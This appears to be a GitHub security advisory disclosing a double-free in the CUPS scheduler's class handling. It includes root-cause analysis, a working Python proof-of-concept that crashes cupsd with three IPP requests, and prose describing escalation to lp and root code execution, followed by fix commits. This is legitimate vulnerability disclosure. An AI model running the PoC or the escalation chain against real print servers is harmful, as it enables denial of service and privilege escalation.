GHSA-pwg4-pv39-8c22
CVE Information
Summary
cupsdcontains a double-free in class modification/deletion.When
CUPS-Add-Modify-Classreplaces the member list of an existing class,add_class()freespclass->printersand resetsnum_printersto zero, but does not set the pointer toNULL. If later validation in the same request fails, the class object remains alive withpclass->printerspointing to freed memory. A subsequentCUPS-Delete-ClassreachescupsdDeletePrinter(), which frees the same pointer again.The minimal trigger is three IPP requests:
- create or modify a class with one valid member;
- modify the same class with an invalid member URI, causing the old member array to be freed before validation fails;
- delete the class, causing the stale pointer to be freed again.
The bug was reproduced against both:
- CUPS v2.4.19: AddressSanitizer reports an attempted double-free, with the first free in
add_class()and the second incupsdDeletePrinter().- 2.4.x branch HEAD
a7bd8ba(2026-10-01, version string 2.4.20): the same three-request sequence causes an uninstrumented glibc build to terminate withfree(): double free detected in tcache 2.With the stock CUPS policy, class-management operations require
@SYSTEM, so the baseline impact is an authenticated denial of service against the privileged scheduler.On the tested 2.4.x HEAD, the resulting stale-allocation primitive was additionally exploited to controlled filter execution:
- service-account (
lp) execution was demonstrated on a root-started daemon when the heap layout is known or independently disclosed, with the CUPS configuration itself otherwise stock;LogLevel debug2logging adds an address-disclosure-assisted exploitation path when the error log is readable by the attacker;- root code execution was demonstrated when
FileDevice Yesis enabled in addition to a known heap layout.The
lpand root results were demonstrated against root-started daemons; thedebug2path was demonstrated end-to-end in an unprivileged test harness on the same HEAD (see Impact). All were run on the 2.4.x HEAD; for v2.4.19, the runtime-confirmed claims in this report are the double-free itself and the resulting scheduler crash.Source inspection shows the same free-without-NULL pattern at least as far back as
release-1.4.8; it is also present inrelease-2.0.4,v2.2.13, the inspected v2.4.x releases, and the current 2.4.x branch HEAD. Runtime reproduction was performed on v2.4.19 anda7bd8ba; older versions were assessed by source inspection.Details
1. First free leaves a dangling pointer
When an existing class receives a new
member-urislist,add_class()releases the old member array:if (pclass->num_printers > 0) { free(pclass->printers); pclass->num_printers = 0; }Location:
v2.4.19: scheduler/ipp.c:972-976 first free at ipp.c:974 2.4.x HEAD a7bd8ba: first free at scheduler/ipp.c:982
pclass->printersis not set toNULL.The object is therefore left temporarily in the following state:
num_printers = 0 printers = <freed allocation>This would not by itself be a problem if the pointer were always replaced before the function returned. However, additional validation occurs after the free.
2. Validation failures preserve the stale pointer
Several later validation paths can return before a replacement member array is installed.
For example, member URIs are validated with
cupsdValidateDest()— after the originalpclass->printersallocation has already been freed. Post-free failure cases include:
- a
member-urireferring to a nonexistent destination;- a
member-urireferring to another class, which is rejected because nested classes are not allowed;- later printer-default validation failures, such as an invalid printer operation policy.
For an existing class, these errors do not destroy the class object. The class remains registered with:
pclass->num_printers == 0 pclass->printers == dangling pointerMost code does not immediately notice the invalid pointer because accesses to the member array are bounded by
num_printers.The stale pointer therefore survives until the class is deleted.
3. Class deletion frees the same allocation again
cupsdDeletePrinter()later releases a class's member array:if (p->printers != NULL) free(p->printers);Location:
v2.4.19: scheduler/printers.c:715-716 2.4.x HEAD a7bd8ba: second free at scheduler/printers.c:733Because
pclass->printerswas never cleared after the first free, it remains non-NULL.The delete path therefore calls
free()on the same allocation a second time.With AddressSanitizer on v2.4.19, the same heap region is reported as:
first free: add_class() scheduler/ipp.c:974 second free: cupsdDeletePrinter() scheduler/printers.c:716On the uninstrumented 2.4.x HEAD build, the same request sequence terminates the daemon with:
free(): double free detected in tcache 2followed by
SIGABRT.4. Minimal trigger sequence
The bug requires only three class-management requests.
Request 1 — create a class containing a valid printer
CUPS-Add-Modify-Class c1 member-uris: ipp://host/printers/p1The resulting class contains one member and owns a dynamically allocated
printersarray.Request 2 — replace the member list with an invalid destination
CUPS-Add-Modify-Class c1 member-uris: ipp://host/printers/nonexistent
add_class()first frees the existingpclass->printersarray.Validation of the new URI then fails.
The existing class survives, but its
printersfield still contains the freed address.Request 3 — delete the class
CUPS-Delete-Class c1
cupsdDeletePrinter()sees a non-NULLp->printersvalue and callsfree()on it again.This produces the double-free.
Proof of concept
Test conditions
The minimal reproduction was tested against:
CUPS v2.4.19 and 2.4.x branch HEAD commit: a7bd8ba date: 2026-10-01 version string: 2.4.20The server needs one existing printer queue that can be used as the valid initial class member, for example:
/printers/p1The client must be authorized to perform:
CUPS-Add-Modify-Class CUPS-Delete-ClassUnder the shipped CUPS policy these operations require
@SYSTEM.Note on authentication: the supplied minimal PoC does not implement CUPS authentication. Reproduce it either
- against a test policy that grants only these two class-management operations to the test client (printer-management permissions are not required to trigger the bug), or
- by performing the same three IPP operations with an authenticated
@SYSTEMaccount under the shipped policy.Without one of the above, the script's requests are answered with
HTTP 401 Unauthorizedbefore any class operation is processed.PoC script
#!/usr/bin/env python3 """ PoC: cupsd double-free in class deletion. v2.4.19: first free: scheduler/ipp.c:974 second free: scheduler/printers.c:716 2.4.x HEAD a7bd8ba: first free: scheduler/ipp.c:982 second free: scheduler/printers.c:733 """ import socket import struct import sys HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 631 CURI = f"ipp://{HOST}:{PORT}/classes/c009" def attr_str(tag, name, value): value = value.encode() return ( struct.pack(">BH", tag, len(name)) + name.encode() + struct.pack(">H", len(value)) + value ) def attr_uris(name, uris): name_bytes = name.encode() out = struct.pack(">BH", 0x45, len(name_bytes)) + name_bytes for uri in uris: value = uri.encode() out += struct.pack(">H", len(value)) + value return out def ipp_request(opid, reqid, groups, path): body = struct.pack(">BBHI", 1, 1, opid, reqid) for group_tag, attrs in groups: body += bytes([group_tag]) + attrs body += b"\x03" request = ( f"POST {path} HTTP/1.1\r\n" f"Host: {HOST}:{PORT}\r\n" f"Content-Type: application/ipp\r\n" f"Content-Length: {len(body)}\r\n" f"Connection: close\r\n" f"\r\n" ).encode() + body sock = socket.create_connection((HOST, PORT)) sock.settimeout(15) sock.sendall(request) response = b"" try: while True: chunk = sock.recv(4096) if not chunk: break response += chunk except socket.timeout: pass sock.close() if b"\r\n\r\n" not in response: return None ipp = response.split(b"\r\n\r\n", 1)[1] if len(ipp) < 6: return None return struct.unpack(">H", ipp[2:4])[0] def op_attrs(extra=b""): return ( attr_str(0x47, "attributes-charset", "utf-8") + attr_str(0x48, "attributes-natural-language", "en") + attr_str(0x45, "printer-uri", CURI) + extra ) # Step 1: # Create/modify the class with one valid member. status = ipp_request( 0x4006, 1, [ (0x01, op_attrs()), ( 0x04, attr_uris( "member-uris", [f"ipp://{HOST}:{PORT}/printers/p1"], ), ), ], "/classes/c009", ) print( "[*] Add-Modify-Class (valid member): " + (hex(status) if status is not None else "?") ) # Step 2: # Replace the member list with a nonexistent printer. # # The existing member array is freed before validation fails, # leaving pclass->printers dangling. status = ipp_request( 0x4006, 2, [ (0x01, op_attrs()), ( 0x04, attr_uris( "member-uris", [f"ipp://{HOST}:{PORT}/printers/nonexistent"], ), ), ], "/classes/c009", ) print( "[*] Add-Modify-Class (bad member): " + (hex(status) if status is not None else "?") ) # Step 3: # Delete the class. # # cupsdDeletePrinter() frees the stale printers pointer again. try: status = ipp_request( 0x4007, 3, [(0x01, op_attrs())], "/classes/c009", ) print( "[*] Delete-Class: " + ( hex(status) if status is not None else "no response (daemon died?)" ) ) except Exception as exc: print( f"[*] Delete-Class: connection failed ({exc}) " "- daemon likely dead" ) print( "[*] check: systemctl status cups / " "journalctl -u cups --since -1min" )Expected result
Typical output before the daemon terminates is:
[*] Add-Modify-Class (valid member): 0x0 [*] Add-Modify-Class (bad member): 0x406 (client-error-not-found) [*] Delete-Class: no response (daemon died?)v2.4.19 with AddressSanitizer
The sanitizer reports:
ERROR: AddressSanitizer: attempting double-freeThe second free originates from:
cupsdDeletePrinter scheduler/printers.c:716and the allocation was previously freed from:
add_class scheduler/ipp.c:974This confirms that the same class-member allocation is freed twice.
2.4.x HEAD
a7bd8baThe same sequence against an uninstrumented vanilla build produces:
free(): double free detected in tcache 2and the scheduler terminates with
SIGABRT.The bug is therefore still present in the tested 2.4.x branch HEAD.
Impact
The baseline impact is a deterministic authenticated denial of service for a client authorized to perform class-management operations; the underlying primitive is a memory-corruption vulnerability in the privileged
cupsdscheduler.The exact consequence depends on the affected version and deployment conditions.
v2.4.19
The directly demonstrated v2.4.19 impact is a deterministic double-free and scheduler denial of service.
With the stock policy, a user authorized for class administration (
@SYSTEM, commonly an administrator orlpadminmember) can terminate the root-startedcupsdprocess using the three-request sequence described above.The sequence is repeatable after the scheduler restarts.
AddressSanitizer confirms that this is a genuine heap memory-safety violation rather than merely an application-level error:
free in add_class() ↓ class survives with dangling printers pointer ↓ free in cupsdDeletePrinter() ↓ double-freeThe more advanced exploitation scenarios below were tested against the current 2.4.x branch HEAD and are not claimed here as separately reproduced against v2.4.19.
2.4.x branch HEAD
a7bd8baThe double-free remains present at the tested branch HEAD.
The basic three-request sequence reliably terminates the daemon, and the stale-allocation primitive was additionally escalated to code execution in three tested environments.
Scenario A — readable
debug2loggingWhen:
LogLevel debug2is enabled and the attacker can read the resulting error log, scheduler logging exposes heap addresses needed to identify the relevant allocations.
The freed class-member array can then be reused by a live MIME-filter structure. Deleting the stale class frees that live allocation, after which controlled allocations can reoccupy it and modify the filter command.
A subsequent print job traverses the corrupted filter entry and executes the selected permitted program as the configured CUPS filter account.
On a stock root-started installation this is normally:
User lpThis path was demonstrated end-to-end on the tested 2.4.x HEAD in the unprivileged test harness, executing as the daemon's own account. On a normal root-started deployment, filter execution is performed under the configured CUPS
Useraccount (normallylp), subject to the same program-validation restrictions described under Scenario B.Scenario B — stock CUPS configuration with heap addresses known by another means
This scenario applies when the CUPS configuration itself is stock (no debug logging required) and the relevant heap addresses are known by another means, including environments where:
- ASLR is disabled;
- the layout is otherwise predictable;
- or an independent heap-address disclosure is available.
Allocator grooming using IPP requests allows the freed class-member allocation to be reused by a live
mime_filter_tobject.The stale class pointer can then free the live object, after which controlled IPP allocations rewrite the same region while preserving the required internal pointers and replacing the filter command.
A subsequent print job reaches the corrupted filter during filter-graph traversal.
This was reproduced repeatedly against freshly started daemons with the attack sequence delivered entirely through IPP requests — executing as the daemon's own account in the test harness, and against a root-started daemon (with an existing permitted executable) as the
lpfilter account.On stock root-started deployments, CUPS validates programs before filters and backends are executed. An attacker cannot simply introduce an arbitrary attacker-owned executable because the selected program must satisfy CUPS' ownership and permission checks.
The demonstrated result on this configuration is therefore execution as the CUPS service/filter account using an existing permitted executable, in addition to the underlying heap-corruption primitive.
Scenario C —
FileDevice Yeswith known heap layoutWhen the documented non-default option:
FileDevice Yesis enabled, the same corrupted-filter primitive can be combined with a
file:output queue.In the tested configuration, the corrupted filter first selects an existing permitted system executable.
A
file:queue then causes the root scheduler itself to open an existing root-owned backend file and write attacker-controlled print data into it.The overwritten backend can subsequently be selected through a queue whose
device-uriuses that backend scheme.Because CUPS permits root execution of suitably protected root-owned backend programs, the overwritten backend is then spawned by the root scheduler.
The tested chain resulted in:
uid=0 euid=0 parent process = root cupsddemonstrating root code execution on the tested 2.4.x HEAD.
This scenario depends on both:
known/predictable heap layout and FileDevice Yesand therefore does not represent the default deployment condition.
Privilege boundary
With the shipped CUPS policy, this is not an unauthenticated vulnerability.
The class-management operations required to reach
add_class()andcupsdDeletePrinter()are protected by@SYSTEM.However, CUPS authorization policies can delegate class management independently of printer management.
I verified this distinction with a policy that allowed the relevant class operations while denying:
CUPS-Add-Modify-Printerto the same client.
In that configuration, attempts to modify printers were rejected with:
HTTP 401 Unauthorizedwhile the client could still drive the three-request sequence to the double-free.
Therefore, in split-administration deployments, a role authorized only to manage classes can obtain a memory-corruption primitive against the privileged scheduler even when it cannot use printer-management operations that would otherwise provide more direct administrative capabilities.
The split-administration test establishes reachability of the memory-corruption primitive only. The exploitation scenarios above were evaluated with the additional printer- and job-management capabilities required by their respective chains (print jobs, filter re-registration, and — for the
file:chain — queue/device configuration); they should not be read as implying that a class-only role can necessarily complete those chains.The underlying defect is the stale
pclass->printerspointer left byadd_class(). Clearing it after the firstfree(), or deferring destruction of the old member list until the replacement has been fully validated, prevents the second free.Fix
Type: Security hardening, not vulnerability, because it is triggerable only with admin rights
[master b17ab0ee1b5eeb9b57d5eb09ab248bb3bb5a226e] Initialize printers array to NULL after freeing (GHSA-pwg4-pv39-8c22)
[2.4.x 13bc9d4f8d695403d54469cc3c8b675e34a7037f] Initialize printers array to NULL after freeing (GHSA-pwg4-pv39-8c22)